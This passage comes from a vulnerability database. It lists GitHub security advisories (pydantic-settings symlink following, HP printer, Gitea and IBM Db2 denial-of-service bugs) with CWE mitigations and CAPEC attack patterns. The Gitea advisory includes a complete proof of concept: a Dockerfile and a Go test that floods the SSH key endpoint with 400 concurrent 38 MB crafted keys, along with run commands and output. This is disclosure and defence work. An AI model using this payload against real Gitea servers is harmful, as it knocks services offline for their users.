`secrets_dir` at a directory fully under the application\u0027s control, are not affected.\n\n### Mitigation\n\nUpgrade to **pydantic-settings 2.14.2**, which:\n\n* walks the secrets directory explicitly and only descends into directories whose resolved path stays within `secrets_dir`, so symlinked directories pointing outside are never followed;\n* uses a single, cycle-safe iterator for both the size check and the loader, so the size accounting and the loaded set are always consistent and each real directory is visited at most once;\n* skips any file whose resolved path escapes `secrets_dir`, as defense in depth.\n\nIf upgrading is not immediately possible, ensure the configured `secrets_dir` is fully owned and controlled by the application (no writable or attacker-influenced entries), or avoid `secrets_nested_subdir=True`.",
  "id": "GHSA-4xgf-cpjx-pc3j",
  "modified": "2026-06-19T22:10:42Z",
  "published": "2026-06-19T22:10:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pydantic/pydantic-settings/security/advisories/GHSA-4xgf-cpjx-pc3j"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pydantic/pydantic-settings"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pydantic-settings: NestedSecretsSettingsSource follows symlinks outside secrets_dir, enabling local file read and bypassing secrets_dir_max_size"
}

GHSA-4XJ3-J2JQ-5HJR

Vulnerability from github – Published: 2022-05-24 19:19 – Updated: 2022-07-13 00:01
VLAI
Details

Potential security vulnerabilities have been discovered on a certain HP LaserJet Pro printer that may allow a Denial of Service on the device.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-3704"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-11-01T14:15:00Z",
    "severity": "HIGH"
  },
  "details": "Potential security vulnerabilities have been discovered on a certain HP LaserJet Pro printer that may allow a Denial of Service on the device.",
  "id": "GHSA-4xj3-j2jq-5hjr",
  "modified": "2022-07-13T00:01:32Z",
  "published": "2022-05-24T19:19:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3704"
    },
    {
      "type": "WEB",
      "url": "https://support.hp.com/us-en/document/ish_4411563-4411589-16/hpsbpi03741"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4XJF-493Q-98P3

Vulnerability from github – Published: 2026-07-21 21:09 – Updated: 2026-09-24 15:23
VLAI
Summary
Gitea SSH Key Parser Denial of Service
Details

Gitea's SSH key ingestion endpoint accepts keys in RFC 4716 (SSH2) format and normalises them before storage. The normalisation function contains an O(N²) string concatenation loop with no input size limit, meaning a single malicious key submission can force the server to perform an amount of work that grows quadratically with the size of the input. Any authenticated user can exploit this to exhaust the server's CPU and memory, taking the instance offline.

Root Cause

An attacker sends a POST /api/v1/user/keys request with a Bearer token and a JSON body whose key field contains a malicious RFC 4716 (SSH2) public key. The key consists of a valid SSH2 header followed by a very large number of short content lines — for example, 400,000 lines of 100 characters each (~38 MB total).

The request reaches CreateUserPublicKey with no prior size check:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/user/key.go#L201-L212

This calls CheckPublicKeyString which immediately calls parseKeyString. Inside parseKeyString, the SSH2 branch splits the input on newlines and accumulates the key body one line at a time using keyContent += line:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/models/asymkey/ssh_key_parse.go#L60-L79

Because Go strings are immutable, each += at line 77 allocates a new backing array and copies the entire accumulated string into it. For N lines the total bytes copied is N*(N+1)/2, making the operation O(N²) in both time and allocations. The validity of the key is only checked after the loop completes, so the entire quadratic work is performed regardless of whether the input is a real SSH key.

This is only possible because neither the web form field nor the API struct carries a size constraint:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/forms/user_form.go#L308-L317

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/structs/repo_key.go#L33-L49

PoC

To reproduce, clone gitea and checkout commit 9155a81b9daf1d46b2380aa91271e623ac947c1e. Then create the following files from the gitea root directory:

poc/Dockerfile

FROM golang:1.26-alpine AS builder

RUN apk add --no-cache git build-base

WORKDIR /gitea

# Download deps in a separate layer so rebuilds are fast after source changes.
COPY go.mod go.sum ./
RUN go mod download

# Copy full source (needed for fixtures, config templates, and compilation).
COPY . .

# Compile the integration test binary.
# modernc sqlite (pure Go, no CGO needed) is the default driver.
RUN CGO_ENABLED=0 go test -c \
      -o /integration.test \
      gitea.dev/tests/integration

# ── runtime image ────────────────────────────────────────────────────────────
FROM alpine:3.22

# git is required at runtime: the test framework initialises git repos.
RUN apk add --no-cache git

COPY --from=builder /integration.test /integration.test
# Keep the full source at /gitea so runtime.Caller(0) path resolution works
# and fixtures / config templates are accessible.
COPY --from=builder /gitea /gitea

RUN adduser -D -u 1000 poc && chown -R poc:poc /gitea

WORKDIR /gitea

USER poc

ENTRYPOINT ["/integration.test", \
            "-test.run", "TestDoSSSHKeyParserOOM", \
            "-test.v", \
            "-test.timeout", "600s"]

tests/integration/poc_dos_test.go

package integration

import (
    "fmt"
    "runtime"
    "runtime/debug"
    "strings"
    "sync"
    "sync/atomic"
    "testing"
    "time"

    auth_model "gitea.dev/models/auth"
    api "gitea.dev/modules/structs"
    "gitea.dev/tests"
)

func TestDoSSSHKeyParserOOM(t *testing.T) {
    defer tests.PrepareTestEnv(t)()

    // Raise the GC trigger so intermediate strings accumulate faster,
    // matching realistic server behaviour under sustained allocation load.
    debug.SetGCPercent(400)

    // Log in as an ordinary user — no special privileges needed.
    session := loginUser(t, "user1")
    token := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeWriteUser)

    const (
        numLines     = 400_000
        charsPerLine = 100
        numWorkers   = 400
    )

    var sb strings.Builder
    sb.WriteString("---- BEGIN SSH2 PUBLIC KEY ----\n")
    sb.WriteString("Comment: dos\n")
    line := strings.Repeat("a", charsPerLine) + "\n"
    for i := 0; i < numLines; i++ {
        sb.WriteString(line)
    }
    sb.WriteString("---- END SSH2 PUBLIC KEY ----\n")
    payload := sb.String()

    peakGB := float64(numWorkers) * 2 * float64(numLines) * float64(charsPerLine) / (1 << 30)
    t.Logf("payload=%.1f MB  workers=%d  peak_theory=%.1f GB",
        float64(len(payload))/(1<<20), numWorkers, peakGB)

    // Each goroutine marshals its own JSON body. The bytes live in req.Body
    // for the entire duration of MakeRequest, so numWorkers concurrent
    // goroutines hold numWorkers × payload_size bytes simultaneously.
    // With numWorkers=400 and payload=38.5 MB: 400 × 38.5 MB = 15.4 GB → OOM.
    var (
        wg    sync.WaitGroup
        done  atomic.Int64
        ready = make(chan struct{})
        start = time.Now()
    )

    for i := 0; i < numWorkers; i++ {
        wg.Add(1)
        go func(id int) {
            defer func() { done.Add(1); wg.Done() }()
            <-ready

            req := NewRequestWithJSON(t, "POST", "/api/v1/user/keys", api.CreateKeyOption{
                Title: fmt.Sprintf("dos-%d", id),
                Key:   payload,
            }).AddTokenAuth(token)

            MakeRequest(t, req, NoExpectedStatus)
        }(i)
    }

    go func() {
        var ms runtime.MemStats
        ticker := time.NewTicker(5 * time.Second)
        defer ticker.Stop()
        for range ticker.C {
            runtime.ReadMemStats(&ms)
            t.Logf("[%4.0fs] done=%d/%d  HeapSys=%.1f GB  HeapAlloc=%.1f GB",
                time.Since(start).Seconds(), done.Load(), numWorkers,
                float64(ms.HeapSys)/(1<<30), float64(ms.HeapAlloc)/(1<<30))
        }
    }()

    close(ready)
    wg.Wait()
    t.Logf("all done in %.1fs — container survived, increase numWorkers or numLines",
        time.Since(start).Seconds())
}

When you run the Dockerfile, it should OOM, however this is highly dependent on the host machine. On my end, I do the following:

docker build -t gitea-dos-poc -f poc/Dockerfile .
docker run --rm --memory=12g --memory-swap=12g gitea-dos-poc

Which prints out:

=== TestDoSSSHKeyParserOOM (tests/integration/poc_dos_test.go:35)
    testlogger.go:62: 2026/06/02 14:37:40 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /gitea/tests/gitea-lfs-meta
    testlogger.go:62: 2026/06/02 14:37:40 HTTPRequest [I] router: completed POST /user/login for test-mock:12345, 303 See Other in 29.9ms @ auth/auth.go:284(auth.SignInPost)
    testlogger.go:62: 2026/06/02 14:37:41 HTTPRequest [I] router: completed POST /user/settings/applications for test-mock:12345, 303 See Other in 17.8ms @ setting/applications.go:36(setting.ApplicationsPost)
    poc_dos_test.go:62: payload=38.5 MB  workers=400  peak_theory=29.8 GB

... demonstrating high memory consumption. On my end, memory is consumed within 1 second.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.27.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "gitea.dev"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.27.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-56657"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T21:09:57Z",
    "nvd_published_at": "2026-08-13T17:17:25Z",
    "severity": "MODERATE"
  },
  "details": "Gitea\u0027s SSH key ingestion endpoint accepts keys in RFC 4716 (SSH2) format and normalises them before storage. The normalisation function contains an O(N\u00b2) string concatenation loop with no input size limit, meaning a single malicious key submission can force the server to perform an amount of work that grows quadratically with the size of the input. Any authenticated user can exploit this to exhaust the server\u0027s CPU and memory, taking the instance offline.\n\n### Root Cause\n\nAn attacker sends a POST /api/v1/user/keys request with a Bearer token and a JSON body whose key field contains a malicious RFC 4716 (SSH2) public key. The key consists of a valid SSH2 header followed by a very large number of short content lines \u2014 for example, 400,000 lines of 100 characters each (~38 MB total).\n\nThe request reaches `CreateUserPublicKey` with no prior size check:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/user/key.go#L201-L212\n\nThis calls `CheckPublicKeyString` which immediately calls `parseKeyString`. Inside `parseKeyString`, the SSH2 branch splits the input on newlines and accumulates the key body one line at a time using `keyContent += line`:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/models/asymkey/ssh_key_parse.go#L60-L79\n\nBecause Go strings are immutable, each `+=` at line 77 allocates a new backing array and copies the entire accumulated string into it. For N lines the total bytes copied is `N*(N+1)/2`, making the operation `O(N\u00b2)` in both time and allocations. The validity of the key is only checked after the loop completes, so the entire quadratic work is performed regardless of whether the input is a real SSH key.\n\nThis is only possible because neither the web form field nor the API struct carries a size constraint:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/forms/user_form.go#L308-L317\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/structs/repo_key.go#L33-L49\n\n### PoC\n\nTo reproduce, clone gitea and checkout commit `9155a81b9daf1d46b2380aa91271e623ac947c1e`. Then create the following files from the gitea root directory:\n\n`poc/Dockerfile`\n```docker\nFROM golang:1.26-alpine AS builder\n\nRUN apk add --no-cache git build-base\n\nWORKDIR /gitea\n\n# Download deps in a separate layer so rebuilds are fast after source changes.\nCOPY go.mod go.sum ./\nRUN go mod download\n\n# Copy full source (needed for fixtures, config templates, and compilation).\nCOPY . .\n\n# Compile the integration test binary.\n# modernc sqlite (pure Go, no CGO needed) is the default driver.\nRUN CGO_ENABLED=0 go test -c \\\n      -o /integration.test \\\n      gitea.dev/tests/integration\n\n# \u2500\u2500 runtime image \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nFROM alpine:3.22\n\n# git is required at runtime: the test framework initialises git repos.\nRUN apk add --no-cache git\n\nCOPY --from=builder /integration.test /integration.test\n# Keep the full source at /gitea so runtime.Caller(0) path resolution works\n# and fixtures / config templates are accessible.\nCOPY --from=builder /gitea /gitea\n\nRUN adduser -D -u 1000 poc \u0026\u0026 chown -R poc:poc /gitea\n\nWORKDIR /gitea\n\nUSER poc\n\nENTRYPOINT [\"/integration.test\", \\\n            \"-test.run\", \"TestDoSSSHKeyParserOOM\", \\\n            \"-test.v\", \\\n            \"-test.timeout\", \"600s\"]\n```\n\n`tests/integration/poc_dos_test.go`\n```go\npackage integration\n\nimport (\n\t\"fmt\"\n\t\"runtime\"\n\t\"runtime/debug\"\n\t\"strings\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"testing\"\n\t\"time\"\n\n\tauth_model \"gitea.dev/models/auth\"\n\tapi \"gitea.dev/modules/structs\"\n\t\"gitea.dev/tests\"\n)\n\nfunc TestDoSSSHKeyParserOOM(t *testing.T) {\n\tdefer tests.PrepareTestEnv(t)()\n\n\t// Raise the GC trigger so intermediate strings accumulate faster,\n\t// matching realistic server behaviour under sustained allocation load.\n\tdebug.SetGCPercent(400)\n\n\t// Log in as an ordinary user \u2014 no special privileges needed.\n\tsession := loginUser(t, \"user1\")\n\ttoken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeWriteUser)\n\n\tconst (\n\t\tnumLines     = 400_000\n\t\tcharsPerLine = 100\n\t\tnumWorkers   = 400\n\t)\n\n\tvar sb strings.Builder\n\tsb.WriteString(\"---- BEGIN SSH2 PUBLIC KEY ----\\n\")\n\tsb.WriteString(\"Comment: dos\\n\")\n\tline := strings.Repeat(\"a\", charsPerLine) + \"\\n\"\n\tfor i := 0; i \u003c numLines; i++ {\n\t\tsb.WriteString(line)\n\t}\n\tsb.WriteString(\"---- END SSH2 PUBLIC KEY ----\\n\")\n\tpayload := sb.String()\n\n\tpeakGB := float64(numWorkers) * 2 * float64(numLines) * float64(charsPerLine) / (1 \u003c\u003c 30)\n\tt.Logf(\"payload=%.1f MB  workers=%d  peak_theory=%.1f GB\",\n\t\tfloat64(len(payload))/(1\u003c\u003c20), numWorkers, peakGB)\n\n\t// Each goroutine marshals its own JSON body. The bytes live in req.Body\n\t// for the entire duration of MakeRequest, so numWorkers concurrent\n\t// goroutines hold numWorkers \u00d7 payload_size bytes simultaneously.\n\t// With numWorkers=400 and payload=38.5 MB: 400 \u00d7 38.5 MB = 15.4 GB \u2192 OOM.\n\tvar (\n\t\twg    sync.WaitGroup\n\t\tdone  atomic.Int64\n\t\tready = make(chan struct{})\n\t\tstart = time.Now()\n\t)\n\n\tfor i := 0; i \u003c numWorkers; i++ {\n\t\twg.Add(1)\n\t\tgo func(id int) {\n\t\t\tdefer func() { done.Add(1); wg.Done() }()\n\t\t\t\u003c-ready\n\n\t\t\treq := NewRequestWithJSON(t, \"POST\", \"/api/v1/user/keys\", api.CreateKeyOption{\n\t\t\t\tTitle: fmt.Sprintf(\"dos-%d\", id),\n\t\t\t\tKey:   payload,\n\t\t\t}).AddTokenAuth(token)\n\n\t\t\tMakeRequest(t, req, NoExpectedStatus)\n\t\t}(i)\n\t}\n\n\tgo func() {\n\t\tvar ms runtime.MemStats\n\t\tticker := time.NewTicker(5 * time.Second)\n\t\tdefer ticker.Stop()\n\t\tfor range ticker.C {\n\t\t\truntime.ReadMemStats(\u0026ms)\n\t\t\tt.Logf(\"[%4.0fs] done=%d/%d  HeapSys=%.1f GB  HeapAlloc=%.1f GB\",\n\t\t\t\ttime.Since(start).Seconds(), done.Load(), numWorkers,\n\t\t\t\tfloat64(ms.HeapSys)/(1\u003c\u003c30), float64(ms.HeapAlloc)/(1\u003c\u003c30))\n\t\t}\n\t}()\n\n\tclose(ready)\n\twg.Wait()\n\tt.Logf(\"all done in %.1fs \u2014 container survived, increase numWorkers or numLines\",\n\t\ttime.Since(start).Seconds())\n}\n```\n\nWhen you run the Dockerfile, it should OOM, however this is highly dependent on the host machine. On my end, I do the following:\n\n```sh\ndocker build -t gitea-dos-poc -f poc/Dockerfile .\ndocker run --rm --memory=12g --memory-swap=12g gitea-dos-poc\n```\n\nWhich prints out:\n```\n=== TestDoSSSHKeyParserOOM (tests/integration/poc_dos_test.go:35)\n    testlogger.go:62: 2026/06/02 14:37:40 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /gitea/tests/gitea-lfs-meta\n    testlogger.go:62: 2026/06/02 14:37:40 HTTPRequest [I] router: completed POST /user/login for test-mock:12345, 303 See Other in 29.9ms @ auth/auth.go:284(auth.SignInPost)\n    testlogger.go:62: 2026/06/02 14:37:41 HTTPRequest [I] router: completed POST /user/settings/applications for test-mock:12345, 303 See Other in 17.8ms @ setting/applications.go:36(setting.ApplicationsPost)\n    poc_dos_test.go:62: payload=38.5 MB  workers=400  peak_theory=29.8 GB\n```\n\n... demonstrating high memory consumption. On my end, memory is consumed within 1 second.",
  "id": "GHSA-4xjf-493q-98p3",
  "modified": "2026-09-24T15:23:08Z",
  "published": "2026-07-21T21:09:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-4xjf-493q-98p3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56657"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/de4b8277e9cb576f2315fb03b5ab6478b42a1d31"
    },
    {
      "type": "WEB",
      "url": "https://blog.gitea.com/gitea-1.27.0-is-released"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Gitea SSH Key Parser Denial of Service"
}

GHSA-4XMG-9FRG-C434

Vulnerability from github – Published: 2023-12-04 00:30 – Updated: 2023-12-04 00:30
VLAI
Details

IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 10.5, 11.1, 11.5 is vulnerable to denial of service under extreme stress conditions. IBM X-Force ID: 264807.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-40692"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-04T00:15:07Z",
    "severity": "MODERATE"
  },
  "details": "IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 10.5, 11.1, 11.5 is vulnerable to denial of service under extreme stress conditions.  IBM X-Force ID:  264807.",
  "id": "GHSA-4xmg-9frg-c434",
  "modified": "2023-12-04T00:30:26Z",
  "published": "2023-12-04T00:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40692"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/264807"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20240119-0001"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7087157"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.